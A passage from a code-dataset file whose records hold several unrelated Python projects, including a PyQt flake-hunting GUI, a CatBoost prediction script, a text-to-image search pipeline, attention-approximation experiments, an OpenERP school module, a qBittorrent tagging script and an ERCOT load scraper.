QtWidgets.QSizePolicy.Minimum)\n horizontal_layout_0.addItem(spacerItem)\n \n vertical_layout.addItem(horizontal_layout_0)\n \n horizontal_layout_1 = QtWidgets.QHBoxLayout()\n margin = self.resolution_scaling.get_small_left_margin()\n horizontal_layout_1.setContentsMargins(margin, 0, 0, 0)\n spacing = self.resolution_scaling.get_hspacing_working_folder()\n horizontal_layout_1.setSpacing(20)\n \n self.checkbox_use_ai = QtWidgets.QCheckBox(self.central_widget)\n horizontal_layout_1.addWidget(self.checkbox_use_ai)\n \n space = self.resolution_scaling.get_space_ai()\n spacerItem = QtWidgets.QSpacerItem(space, 0, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Minimum)\n horizontal_layout_1.addItem(spacerItem) \n \n self.line_edit_threshold = QtWidgets.QLineEdit(self.central_widget)\n width = self.resolution_scaling.get_width_thresold_line_edit()\n self.line_edit_threshold.setFixedWidth(width)\n self.line_edit_threshold.setAlignment(QtCore.Qt.AlignRight)\n self.line_edit_threshold.setValidator(QtGui.QIntValidator(0, 99))\n horizontal_layout_1.addWidget(self.line_edit_threshold)\n \n self.label_thresold = QtWidgets.QLabel(self.central_widget)\n horizontal_layout_1.addWidget(self.label_thresold)\n \n spacerItem = QtWidgets.QSpacerItem(0, 0, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)\n horizontal_layout_1.addItem(spacerItem)\n \n vertical_layout.addItem(horizontal_layout_1)\n \n return vertical_layout\n \n def setup_hunt_widget(self):\n vertical_layout = QtWidgets.QVBoxLayout()\n vertical_layout.setContentsMargins(0, 0, 0, 0)\n spacing = self.resolution_scaling.get_minimum_vspacing_right_pannel()\n vertical_layout.setSpacing(spacing)\n \n ###\n horizontal_layout_0 = QtWidgets.QHBoxLayout()\n horizontal_layout_0.setContentsMargins(0, 0, 0, 0)\n horizontal_layout_0.setSpacing(0)\n \n spacerItem = QtWidgets.QSpacerItem(0, 0, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)\n horizontal_layout_0.addItem(spacerItem)\n \n self.label_hunt = Title(self.central_widget,self.resolution_scaling)\n horizontal_layout_0.addWidget(self.label_hunt)\n \n spacerItem = QtWidgets.QSpacerItem(0, 0, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)\n horizontal_layout_0.addItem(spacerItem)\n \n vertical_layout.addItem(horizontal_layout_0)\n \n ###\n self.view_stitched_images = QtWidgets.QGraphicsView(self.central_widget)\n vertical_layout.addWidget(self.view_stitched_images)\n \n ###\n horizontal_layout_0 = QtWidgets.QHBoxLayout()\n horizontal_layout_0.setContentsMargins(0, 0, 0, 0)\n horizontal_layout_0.setSpacing(0)\n \n spacerItem = QtWidgets.QSpacerItem(0, 0, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)\n horizontal_layout_0.addItem(spacerItem)\n \n self.button_hunt = QtWidgets.QPushButton(self.central_widget)\n horizontal_layout_0.addWidget(self.button_hunt)\n \n spacerItem = QtWidgets.QSpacerItem(0, 0, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)\n horizontal_layout_0.addItem(spacerItem)\n \n self.button_select_flakes = QtWidgets.QPushButton(self.central_widget)\n horizontal_layout_0.addWidget(self.button_select_flakes)\n \n spacerItem = QtWidgets.QSpacerItem(0, 0, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)\n horizontal_layout_0.addItem(spacerItem)\n \n vertical_layout.addItem(horizontal_layout_0)\n \n return vertical_layout\n \n def retranslate_right_window_ui(self, MainWindow):\n self.retranslate_left_pannel_ui(MainWindow)\n self.retranslate_right_pannel_ui(MainWindow)\n \n def retranslate_left_pannel_ui(self,MainWindow):\n _translate = QtCore.QCoreApplication.translate\n self.retranslate_widget_working_folder_ui(_translate)\n self.retranslate_widget_calibration_to_use_ui(_translate)\n self.retranslate_widget_area_ui(_translate)\n self.retranslate_widget_use_ai_ui(_translate)\n \n def retranslate_right_pannel_ui(self,_translate):\n _translate = QtCore.QCoreApplication.translate\n self.retranslate_hunt_widget_ui(_translate)\n \n def retranslate_widget_working_folder_ui(self,_translate):\n self.label_working_folder.setText(_translate(\"MainWindow\", \"Working Folder\"))\n self.button_browse_folder.setText(_translate(\"MainWindow\", \"Browse\"))\n self.set_label_path_working_folder()\n\n\n def retranslate_widget_calibration_to_use_ui(self, _translate):\n self.label_calibration.setText(_translate(\"MainWindow\", \"Chose Calibration\"))\n self.button_calibration.setText(_translate(\"MainWindow\", \" Select \"))\n self.calibration_window.setText(_translate(\"MainWindow\", \"Calibration: \"))\n \n def retranslate_widget_area_ui(self, _translate):\n self.label_area_title.setText(_translate(\"MainWindow\", \"Flake Size\"))\n self.label_minimum_size.setText(_translate(\"MainWindow\", \"Minimum area\"))\n self.line_edit_minimum_size.setText(_translate(\"MainWindow\", \"400\"))\n self.label_micrometer2.setText(_translate(\"MainWindow\", u\"µm²\"))\n \n def retranslate_widget_use_ai_ui(self, _translate):\n self.label_ai.setText(_translate(\"MainWindow\", \"Artificial Intelligence\"))\n self.checkbox_use_ai.setText(_translate(\"MainWindow\", \"Activate\"))\n self.label_thresold.setText(_translate(\"MainWindow\", \"% Threshold\"))\n self.line_edit_threshold.setText(_translate(\"MainWindow\", \"50\"))\n \n def retranslate_hunt_widget_ui(self, _translate):\n self.label_hunt.setText(_translate(\"MainWindow\", \"Hunt for Flakes\"))\n self.button_hunt.setText(_translate(\"MainWindow\", \" Hunt \"))\n self.button_select_flakes.setText(_translate(\"MainWindow\", \" Select Flakes \"))\n\n def connect_buttons(self):\n self.button_browse_folder.clicked.connect(self.browse_working_folder)\n \n def browse_working_folder(self):\n path = QtWidgets.QFileDialog.getExistingDirectory(self.central_widget, 'Select Working Folder', '')\n if path != ('', ''):\n self.variables.set_working_folder(path)\n self.set_label_path_working_folder()\n \n def set_label_path_working_folder(self):\n _translate = QtCore.QCoreApplication.translate\n path = self.variables.get_working_folder()\n self.path_window.setText(_translate(\"MainWindow\", \"Path: \"+ path))","repo_name":"ClementCollignon/Flinder2","sub_path":"Tabs/Hunt_Tab.py","file_name":"Hunt_Tab.py","file_ext":"py","file_size_in_byte":17457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"12131362600","text":"import sys\nimport pickle\nimport pandas as pd\nimport numpy as np\nfrom catboost import CatBoostClassifier\nimport gc\nimport utils\n\n\ndef prepro_trans(trs):\n trs.columns = ['bank_id', 'mcc', 'cur', 'rub', 'tm']\n trs['rub'] = trs['rub'].astype(np.int32)\n\n if len(trs) > 100:\n trs = trs[\n (trs[\"cur\"] != -1) & (trs[\"tm\"] >= \"2021-01-25\") & (trs[\"tm\"] < \"2021-08-01\")].copy()\n gc.collect()\n\n codes = pd.read_csv('mcc_codes.csv')\n trs['rub'] = trs['rub']*trs['cur'].map({48: 1, 50: 75, 60: 85, -1: 1})\n trs = trs.merge(codes[['MCC', 'cats']], left_on='mcc',\n right_on='MCC').drop(columns=['MCC', 'mcc'])\n del codes\n gc.collect()\n\n rub_intr = [-np.inf, -100000, -50000, -25000, -10000, -5000,\n -2000, -1000, -500, -300, -100, 0, 500, 1000, 2000, 4000, 5000, 10000, 20000, 50000, 100000, np.inf]\n trs['rub_intr'] = pd.cut(trs['rub'], bins=rub_intr,\n labels=list(range(1, len(rub_intr))))\n trs['mean_rub'] = trs.groupby('rub_intr', observed=True)['rub'].transform(\n lambda x: np.round(x.mean())).astype(np.int32)\n\n trs.drop(columns=['cur', 'rub', 'rub_intr'], inplace=True)\n\n pop_cats = utils.load_pickle('pop_cats001.pickle')\n\n new_cats = (trs['mean_rub'] > 0)*1e4 + trs['cats']\n ispop = new_cats.isin(pop_cats)\n trs['ncats'] = new_cats*ispop\n\n trs.loc[(trs['mean_rub'] <= 0) & (~ispop), 'ncats'] = 50000\n trs.loc[(trs['mean_rub'] > 0) & (~ispop), 'ncats'] = 60000\n\n trs['cats'] = trs['ncats'].astype(np.int32).astype('category')\n trs.drop(columns='ncats', inplace=True)\n\n return trs\n\n\ndef prepro_clicks(ks):\n ks.columns = ['rtk_id', 'site', 'tm']\n\n if len(ks) > 100:\n ks = ks[(ks[\"tm\"] >= \"2021-01-25\") & (ks[\"tm\"] < \"2021-08-01\")\n ].copy()\n gc.collect()\n\n ks['uniq_h'] = ks['tm'].dt.dayofyear * 24 + ks['tm'].dt.hour\n\n pop_cats = utils.load_pickle('pop_sites0001.pickle')\n\n ks.loc[~ks['site'].isin(pop_cats), 'site'] = 5000\n\n return ks\n\n\ndef get_embed_trans(trs):\n # part1\n b_cat_mean = trs.pivot_table(\n index=\"bank_id\",\n columns=\"cats\",\n values=\"mean_rub\",\n aggfunc=\"mean\",\n fill_value=0,\n observed=True,\n sort=False,\n ).astype(np.float32).fillna(0)\n\n utils.flat_cols(b_cat_mean, \"p1b_catmean\")\n\n # part1.5\n b_cat_count = trs.pivot_table(\n index=\"bank_id\",\n columns=\"cats\",\n values=\"mean_rub\",\n aggfunc=\"count\",\n fill_value=0,\n observed=True,\n sort=False,\n ).astype(np.float32).fillna(0)\n\n b_cat_count = (\n b_cat_count.div(b_cat_count.sum(axis=1), axis=\"index\").astype(\n np.float32).fillna(0)\n )\n utils.flat_cols(b_cat_count, \"p1b_catcount\")\n\n # part2\n b_hour = trs[trs[\"mean_rub\"] < 0].pivot_table(\n index=\"bank_id\",\n columns=trs[\"tm\"].dt.hour,\n values=\"mean_rub\",\n aggfunc=\"count\",\n fill_value=0,\n observed=True,\n sort=False,\n )\n b_hour = (\n b_hour.div(b_hour.sum(axis=1), axis=\"index\").astype(\n np.float32).fillna(0)\n )\n utils.flat_cols(b_hour, \"p2b_hour\")\n\n # part3\n b_days = trs.assign(d=trs[\"tm\"].dt.dayofyear).groupby(\n 'bank_id', observed=True, sort=False)['d'].agg(utils.not_active_days).to_frame()\n\n b_days.columns = ['p3b_days']\n b_days['p3b_num_active_days'] = b_days['p3b_days'].apply(\n lambda x: utils.max_active_days-len(x)).astype(np.float32).fillna(0)\n b_days['p3b_mean_intr_days'] = b_days['p3b_days'].apply(\n utils.mean_intr_days).astype(np.float32).fillna(0)\n\n b_all = pd.concat([b_cat_mean, b_cat_count, b_hour, b_days], axis=1)\n\n b_all = utils.full_cols(b_all, 'b_all_cols.pickle').reset_index()\n b_all.rename(columns={\"bank_id\": \"bank\"}, inplace=True)\n\n return b_all\n\n\ndef get_embed_clicks(ks):\n\n # part1\n part1 = ks.pivot_table(\n index=\"rtk_id\",\n columns=\"site\",\n values=\"uniq_h\",\n aggfunc=\"nunique\",\n fill_value=0,\n observed=True,\n sort=False,\n )\n\n part1 = part1.div(part1.sum(axis=1), axis=\"index\").astype(\n np.float32).fillna(0)\n utils.flat_cols(part1, \"p1r_sitecount\")\n\n # part2\n part2 = ks.pivot_table(\n index=\"rtk_id\",\n columns=ks[\"tm\"].dt.hour,\n values=\"uniq_h\",\n aggfunc=\"nunique\",\n fill_value=0,\n observed=True,\n sort=False,\n )\n part2 = part2.div(part2.sum(axis=1), axis=\"index\").astype(\n np.float32).fillna(0)\n utils.flat_cols(part2, \"p2r_hour\")\n\n # part3\n part3 = ks.assign(d=ks[\"tm\"].dt.dayofyear).groupby(\n 'rtk_id', observed=True, sort=False)['d'].agg(utils.not_active_days).to_frame()\n part3.columns = ['p3r_days']\n\n part3['p3r_num_active_days'] = part3['p3r_days'].apply(\n lambda x: utils.max_active_days-len(x)).astype(np.float32).fillna(0)\n part3['p3r_mean_intr_days'] = part3['p3r_days'].apply(\n utils.mean_intr_days).astype(np.float32).fillna(0)\n\n r_all = pd.concat([part1, part2, part3], axis=1)\n\n r_all = utils.full_cols(r_all, 'r_all_cols.pickle').reset_index()\n r_all.rename(columns={\"rtk_id\": \"rtk\"}, inplace=True)\n\n return r_all\n\n\ndef main():\n data, output_path = sys.argv[1:]\n\n trs = pd.read_csv(f'{data}/transactions.csv',\n parse_dates=[\"transaction_dttm\"], dtype={'mcc_code': np.int16, 'currency_rk': np.int8})\n\n trs = prepro_trans(trs)\n trs_emb = get_embed_trans(trs)\n del trs\n gc.collect()\n\n ks = pd.read_csv(f'{data}/clickstream.csv', parse_dates=[\"timestamp\"], usecols=[\n \"timestamp\", 'user_id', 'cat_id'], dtype={'cat_id': np.int16})\n ks = prepro_clicks(ks)\n ks_emb = get_embed_clicks(ks)\n del ks\n gc.collect()\n\n cb = CatBoostClassifier()\n cb.load_model('model.cbm')\n\n if len(trs_emb) < 10:\n preds = utils.predict(trs_emb, ks_emb, cb, zeros_prob=0.83)\n else:\n probs = utils.predict_probs(trs_emb, ks_emb, cb, batch=50, n=150)\n\n w = utils.calc_weights(probs, ks_emb['rtk'], k=0.5)\n w[0.] = 1.\n\n probs = probs.merge(w, left_on='rtk', right_index=True)\n probs['pred'] = probs['pred']*probs['weights']\n probs.loc[probs['rtk'] == 0., 'pred'] = 0.93 * \\\n probs.loc[probs['rtk'] != 0., 'pred'].max()\n\n preds = utils.probs_to_preds(probs, trs_emb['bank'], n=100)\n\n subm = []\n subm.extend(preds.values)\n subm = np.array(subm, dtype=object)\n\n np.savez(output_path, subm)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"wxplusb/competitions","sub_path":"data_fusion_2022/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":6590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"42421787489","text":"from towhee.dc2 import pipe, ops\nimport numpy as np\nimport mysql_operate\n\n\n# Search 5 images path which image is close to the text\ndef search(text)->list:\n search_pipeline = (\n pipe.input('text')\n .map('text', 'vec', ops.image_text_embedding.clip(model_name='clip_vit_base_patch16', modality='text'))\n .map('vec', 'vec', lambda x: x / np.linalg.norm(x))\n .map('vec', 'result', ops.ann_search.milvus_client(host='127.0.0.1', port='19530', collection_name='text_image_search', limit=5))\n .map('result', 'image_ids', lambda x: [item[0] for item in x])\n .output('image_ids')\n )\n image_ids = search_pipeline(text).to_list()[0][0]\n image_paths = []\n for id in image_ids:\n select_img = 'SELECT * FROM `{}` WHERE `id` = {};'.format('image_info', id)\n image_paths.append(mysql_operate.db.select_db(select_img)[0]['path'])\n print(image_ids)\n print(image_paths)\n return image_paths\n\ndef main():\n input_text = 'a white dog'\n image_paths = search(input_text)\n\nif __name__ == '__main__':\n main()","repo_name":"LiuersNick/TIS","sub_path":"webserver/D_search_pipeline.py","file_name":"D_search_pipeline.py","file_ext":"py","file_size_in_byte":1070,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"15616195910","text":"\nimport functools\n\nimport torch\nimport torch.nn as nn\n\nimport jax\nimport jax.numpy as jnp\nfrom jax.scipy.special import logsumexp as lse\nfrom jax.nn import softmax, log_softmax\n\nimport numpy as onp\n\nfrom utils import renorm\n\nimport fast_attention as fat\nimport torch_fast_attention as tfat\n\nfrom comparison import print_comp, report_mse, comp, print_comp_true\n\nimport plotly.graph_objects as go\n\nimport streamlit as st\n\nnum_features = 512\nqk_dim = 64\nT = 8\n\nkey = jax.random.PRNGKey(0)\n\nkey, key1, key2 = jax.random.split(key, 3)\nq = jax.random.normal(key1, (T, qk_dim))\nk = jax.random.normal(key2, (T, qk_dim))\n\nq0, k0 = q.copy(), k.copy()\n\nkey, sample_key, norm_key = jax.random.split(key, 3)\ngaussian_sample = fat.random_projection(num_features, qk_dim, sample_key)\nprojection_matrix = fat.get_2d_array(gaussian_sample, norm_key)\n\n# compare all attention implementations\n\n## mean\nvals = jnp.exp(q @ k.T)\ntrue_attn = vals / vals.sum(-1, keepdims=True)\n\nra, _ = fat.rff_attn(q, k, projection_matrix)\nra0 = fat.rff_attn0(q, k, projection_matrix)\n\nqt = torch.tensor(onp.asarray(q))\nkt = torch.tensor(onp.asarray(k))\npt = torch.tensor(onp.asarray(projection_matrix)).transpose(-1, -2)\n\nqf = tfat.kernel(qt[None], pt, is_query=True, eps=0)\nkf = tfat.kernel(kt[None], pt, is_query=False, eps=0)\nvalues = qf.bmm(kf.transpose(-1, -2))\nattn = values / values.sum(-1, keepdim=True)\n\n#import pdb; pdb.set_trace()\n\n## var\nnum_samples = 128\n\nsamples = []\nsamples0 = []\ngsamples = []\ntsamples = []\nnsamples = []\nfor i in range(num_samples):\n key, sample_key, norm_key = jax.random.split(key, 3)\n gaussian_sample = fat.random_projection(num_features, qk_dim, sample_key)\n projection_matrix = fat.get_2d_array(gaussian_sample, norm_key)\n pt = torch.tensor(onp.asarray(projection_matrix)).transpose(-1, -2)\n\n ra, _ = fat.rff_attn(q, k, projection_matrix)\n ra0 = fat.rff_attn0(q, k, projection_matrix)\n samples.append(ra)\n samples0.append(ra0)\n\n gra, _ = fat.rff_attn(q, k, gaussian_sample)\n gsamples.append(gra)\n\n nprojection_matrix = fat.get_2d_array(gaussian_sample, norm_key, scaling=1)\n nra, _ = fat.rff_attn(q, k, nprojection_matrix)\n nsamples.append(nra)\n\n query_features = tfat.kernel(qt[None], pt, is_query=True, eps=0)\n key_features = tfat.kernel(kt[None], pt, is_query=False, eps=0)\n\n values = torch.bmm(query_features, key_features.transpose(-1, -2))\n attn = values / values.sum(-1, keepdim=True)\n tsamples.append(attn)\n\nonp.set_printoptions(suppress=True,precision=4)\n\ndef report(sample):\n print(f\"num_features {num_features}, emb dim {qk_dim}\")\n print(\"variance\")\n print(sample.var(0))\n print(\"mean\")\n print(sample.mean(0))\n\nprint(\"jax\")\nreport(jnp.stack(samples))\nprint(\"jax0\")\nreport(jnp.stack(samples0))\nprint(\"torch\")\nreport(torch.stack(tsamples))\nprint(\"true\")\nprint(true_attn)\n\nprint(\"satisfied all versions are close\")\n\n# experiments with geometry of projection vs bias / variance\n\nprint(\"Geometry of proj\")\n\nprint(\"Gaussian Q K\")\n#true_attn, samples, gsamples, nsamples = comp(num_features, q, k, key)\nprint_comp(num_features, q, k, key)\n\nsqrt_temp = 1.2\nprint(f\"Gaussian Q K / {sqrt_temp}\")\n#true_attn, samples, gsamples, nsamples = comp(num_features, q / sqrt_temp, k / sqrt_temp, key)\nprint_comp(num_features, q / sqrt_temp, k / sqrt_temp, key)\n\nprint(\"observation: bad approximation in general because of BIAS with low entropy.\")\nprint(\"conclusion: not a good idea to directly approximate with RFF, verifies experiments in RFF MT\")\nprint(\"observation: approximation gets better when scaling embeddings by scaling towards 0\")\nprint(\"possible explanation: need large number of samples for linear approximation of exponential?\")\nprint(\"possible fix: keep values low with clamping or renorm?\")\n\n","repo_name":"justinchiu/rff-mrf","sub_path":"code/test_implementations.py","file_name":"test_implementations.py","file_ext":"py","file_size_in_byte":3772,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"44369565467","text":"import tensorflow as tf\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport cv2\nimport os\n\n# 设定各种环境变量\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\n# 设置为使用cpu运算\nos.environ['CUDA_VISIBLE_DEVICES'] = \"\"\n\n\ndef add_layer(inputs, in_size, out_size, activation_function=None):\n # 推荐权重和偏置不为0\n Weights = tf.Variable(tf.random_normal([in_size, out_size]))\n biases = tf.Variable(tf.zeros([1, out_size]) + 0.1)\n Wx_plus_b = tf.matmul(inputs, Weights) + biases\n if activation_function is None:\n outputs = Wx_plus_b\n else:\n outputs = activation_function(Wx_plus_b)\n return outputs\n\ndef predict_index(v_xs):\n global prediction\n y_pre = sess.run(prediction, feed_dict={xs: v_xs, keep_prob: 1})\n return sess.run(tf.argmax(y_pre,1))\n\ndef weight_variable(shape):\n inital = tf.truncated_normal(shape, stddev=0.1)\n return tf.Variable(inital)\n\n\ndef bias_variable(shape):\n initial = tf.constant(0.1, shape=shape)\n return tf.Variable(initial)\n\n\ndef conv2d(x, W): # x为图片的全部信息,W为权重\n # strides [1,x_movement,y_movement,1]\n return tf.nn.conv2d(x, W, strides=[1, 1, 1, 1], padding='SAME')\n\n\ndef max_pool_2x2(x):\n return tf.nn.max_pool(x, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME')\n\n\n# 定义占位符\nkeep_prob = tf.placeholder(tf.float32)\nxs = tf.placeholder(tf.float32, [None, 784]) # 28*28\nys = tf.placeholder(tf.float32, [None, 10])\nx_image = tf.reshape(xs, [-1, 28, 28, 1])\n# -1:暂时先不管reshape的维度,由后面导入的数据决定,-1可以理解为导入数据有多少个图片\n# 1:channel,通道数\n# print(x_image.shape) #[n_samples,28,28,1] n_sample:数据的个数\n\n# conv1 layer\nW_conv1 = weight_variable([5, 5, 1, 32]) # in_size:5*5*1 out_size:1*1*32 32为卷积核个数\nb_conv1 = bias_variable([32])\nh_conv1 = tf.nn.relu(conv2d(x_image, W_conv1) + b_conv1) # out_size 28*28*32\nh_pool1 = max_pool_2x2(h_conv1) # out_size 14*14*32\n\n# conv2 layer\nW_conv2 = weight_variable([5, 5, 32, 64]) # in_size:5*5*32 out_size:1*1*64\nb_conv2 = bias_variable([64])\nh_conv2 = tf.nn.relu(conv2d(h_pool1, W_conv2) + b_conv2) # out_size 14*14*64\nh_pool2 = max_pool_2x2(h_conv2) # out_size 7*7*64\n\n# func1 layer 全连接\nW_fc1 = weight_variable([7 * 7 * 64, 1024])\nb_fc1 = bias_variable([1024])\n# [n_samples,7,7,64] ->> [n_samples,7*7*64]\nh_pool2_flat = tf.reshape(h_pool2, [-1, 7 * 7 * 64])\nh_fc1 = tf.nn.relu(tf.matmul(h_pool2_flat, W_fc1) + b_fc1)\nh_fc1_drop = tf.nn.dropout(h_fc1, keep_prob)\n\n# func2 layer 全连接\nW_fc2 = weight_variable([1024, 10])\nb_fc2 = bias_variable([10])\nprediction = tf.nn.softmax(tf.matmul(h_fc1_drop, W_fc2) + b_fc2)\n\n# 创建保存器\nsaver = tf.train.Saver()\n\n# 导入图片\nfilepath = input('Please input the path of your image:')\n\n# 加载图片\nimage = cv2.imread(filepath)\nimage = cv2.resize(image,(28,28))\nimage = cv2.cvtColor(image,cv2.COLOR_RGB2GRAY)\nimage = np.array(image).reshape(1,28*28)\n\n# 初始化所有变量\ninit = tf.global_variables_initializer()\n\nwith tf.Session() as sess:\n sess.run(init)\n # 提取神经网络参数\n saver.restore(sess, 'cnn_save/cnn_save.ckpt')\n # 使用神经网络检测图片\n print(predict_index(image))\n\nimage = image.reshape((28,28))\nplt.imshow(image,cmap='gray')\nplt.xticks(())\nplt.yticks(())\nplt.show()\n\n\n","repo_name":"851984709/Junjie-Hu","sub_path":"code/python/use/HandNumber/cnn_use.py","file_name":"cnn_use.py","file_ext":"py","file_size_in_byte":3356,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"32"} +{"seq_id":"9540123262","text":"from openerp.osv import osv,fields\nimport openerp\nfrom openerp import tools\n\nclass scholar_professor(osv.osv):\n def _get_image(self, cr, uid, ids, name, args, context=None):\n result = dict.fromkeys(ids, False)\n for obj in self.browse(cr, uid, ids, context=context):\n result[obj.id] = tools.image_get_resized_images(obj.photo)\n return result\n def _set_image(self, cr, uid, id, name, value, args, context=None):\n return self.write(cr, uid, [id], {'photo': tools.image_resize_image_big(value)}, context=context) \n _name=\"scholar.professor\"\n _inherit=\"scholar.person\"\n _columns={\n \"idProfessor\":fields.char(\"Professor ID\",required=True,select=True),\n \"speciality\":fields.many2one('scholar.speciality','Speciality',ondelete='cascade'),\n \"inService\":fields.boolean(\"Still in service\"),\n \"class_ids\":fields.one2many('scholar.class', 'mainProfessor', string='Classes'),\n \"timetable_ids\":fields.one2many('scholar.timetable', 'idProfessor', string='Timetables'),\n 'image_small':fields.function(_get_image,fnct_inv=_set_image, type=\"binary\", multi=\"_get_image\",string='Small Picture',\n store={\n 'scholar.professor': (lambda self, cr, uid, ids, c={}: ids, ['photo'], 10),\n }),\n 'image_medium':fields.function(_get_image, fnct_inv=_set_image,type=\"binary\", multi=\"_get_image\",string='Medium Picture',\n store={\n 'scholar.professor': (lambda self, cr, uid, ids, c={}: ids, ['photo'], 10),\n }),\n \"Idcomplaints\":fields.one2many('scholar.complaints', 'idProfessor', string='Compaints'),\n }\n def create(self, cr, uid, vals, context=None):\n sequence=self.pool.get('ir.sequence').get(cr, uid, 'idProfessor')\n vals['idProfessor']=sequence\n try:\n d={\"name\":(vals['lastname'].upper()+\" \"+vals['firstname']),\"work_email\":vals['email'],\"image\":vals['photo']}\n self.pool.get('hr.employee').create(cr, uid, d, context=context)\n except:\n None\n try:\n group=self.pool.get('res.groups').search(cr, uid,[('name','=','Access Rights for Professor')],limit=1,context=context)\n d={\"name\":(vals['lastname'].upper()+\" \"+vals['firstname']),\"login\":vals['email'],\"password\":vals['email']}\n idUser=self.pool.get('res.users').create(cr, uid, d, context=context)\n if group:\n self.pool.get('res.users').write(cr,uid,[idUser],{'groups_id':[(4, group[0])],'image':vals['photo']},context=context)\n except:\n None\n return super(scholar_professor, self).create(cr, uid, vals, context=context)\n _sql_constraints = [\n ('id_professor_uniq', 'unique(idProfessor)', 'ID Professor already exists'),\n ]\n def onchange_email(self, cr, uid, ids, email, context=None):\n emails = self.pool.get('scholar.professor').search(cr, uid, [('email', '=', email)], limit=1, context=context)\n if emails:\n if ids:\n if emails[0]!=ids[0]:\n return {\n 'warningSwal': {\n 'title':'Invalid email',\n 'message':'This email already exists!'\n }\n ,'value': {'email' : \"\"}\n }\n else:\n return {\n 'warningSwal': {\n 'title':'Invalid email',\n 'message':'This email already exists!'\n }\n ,'value': {'email' : \"\"}\n }\n return {}\n def serve(self,cr, uid, ids,context=None):\n data={\"inService\":True}\n out=self.pool.get('scholar.professor').write(cr, uid,ids, data, context=context)\n if not out:\n return {\"undoneSwal\":\"Operation is not successful.\"}\n return {\"doneSwal\":\"Professor in service now.\"}\n def unserve(self,cr, uid, ids,context=None):\n data={\"inService\":False}\n out=self.pool.get('scholar.professor').write(cr, uid,ids, data, context=context)\n if not out:\n return {\"undoneSwal\":\"Operation is not successful.\"}\n return {\"doneSwal\":\"Professor in service now.\"}\nscholar_professor()","repo_name":"pople10/openerpScholar","sub_path":"models/model_professor.py","file_name":"model_professor.py","file_ext":"py","file_size_in_byte":4284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"39441996570","text":"import sys\nfrom urllib.request import Request, urlopen\nfrom urllib.error import HTTPError\nimport json\nimport re\n\nqbitUrl = sys.argv[1]\nif qbitUrl[-1] == \"/\":\n qbitUrl = qbitUrl[:-1]\nnameRegex = sys.argv[2]\ntag = sys.argv[3]\n\nwith urlopen(qbitUrl + \"/api/v2/torrents/info\") as response:\n jsonObject = json.loads(response.read().decode(\"utf-8\"))\n\ndef getFiltedHashList(torrentList, nameRegex):\n filteredHashes = []\n for torrent in torrentList:\n if re.search(nameRegex, torrent[\"name\"], flags=re.IGNORECASE) != None:\n filteredHashes.append(torrent[\"hash\"])\n \n return filteredHashes\n\ndef getAddTagsBody(hashList, tag):\n bodyString = \"hashes=\"\n for hash in hashList:\n bodyString += (hash + \"|\")\n\n bodyString = bodyString[:-1]\n bodyString += (\"&tags=\" + tag)\n\n return bodyString\n\n\nfilteredHashes = getFiltedHashList(jsonObject, nameRegex)\nbodyString = getAddTagsBody(filteredHashes, tag).encode(\"utf-8\")\n\npostReq = Request((qbitUrl + \"/api/v2/torrents/addTags\"), method=\"POST\")\npostReq.add_header(\"Content-Type\", \"application/x-www-form-urlencoded\")\ntry:\n urlopen(postReq, data=bodyString)\nexcept HTTPError as e:\n print(\"Something went wrong\", file=sys.stderr)\n print(\"Error code: \", e.code, file=sys.stderr)\n","repo_name":"BradyWalters/torrent-tagger","sub_path":"torrent_tags.py","file_name":"torrent_tags.py","file_ext":"py","file_size_in_byte":1270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"12658731719","text":"\r\n\r\nimport pandas as pd \r\nfrom datetime import date\r\nfrom datetime import datetime\r\nfrom datetime import timedelta\r\nfrom datetime import timezone\r\nimport pytz\r\nfrom pytz import utc\r\nfrom pytz import timezone\r\nimport requests\r\nfrom lxml import html\r\nfrom pandasql import sqldf\r\n\r\n#get todays and yesterdays date\r\n\r\ntoday1 = datetime.today()\r\nyesterday1 = today1 - timedelta(days = 1)\r\ntoday1_str = today1.strftime('%Y%m%d')\r\nyesterday1_str = yesterday1.strftime('%Y%m%d')\r\n\r\n#today1_str\r\n#yesterday1_str\r\n#today1_str = '20211230'\r\n\r\n\r\n\r\n\r\n###########################################################live and recent ERCOT load\r\n\r\ntry:\r\n load1 = pd.read_html(r'''https://www.ercot.com/content/cdr/html/'''+str(today1_str)+'''_actual_loads_of_weather_zones.html''')[0]\r\n load1 = load1.rename(columns=load1.iloc[0]).loc[1:]\r\n load1['MWH_load'] = 'MWH_load'\r\n load2 = pd.read_html(r'''https://www.ercot.com/content/cdr/html/'''+str(yesterday1_str)+'''_actual_loads_of_weather_zones.html''')[0]\r\n load2 = load2.rename(columns=load2.iloc[0]).loc[1:]\r\n load2['MWH_load'] = 'MWH_load'\r\n load3 = pd.concat([load1,load2]).reset_index()\r\n load3['Oper Day'] = pd.to_datetime(load3['Oper Day'], format='%m/%d/%Y')\r\n load3['rank'] = load3[[\"Oper Day\",\"Hour Ending\"]].apply(tuple,axis=1).rank(method='dense',ascending=False).astype(int)\r\n load3 = load3.sort_values(\"rank\")\r\n\r\n\r\nexcept:\r\n load2 = pd.read_html(r'''https://www.ercot.com/content/cdr/html/'''+str(yesterday1_str)+'''_actual_loads_of_weather_zones.html''')[0]\r\n load2 = 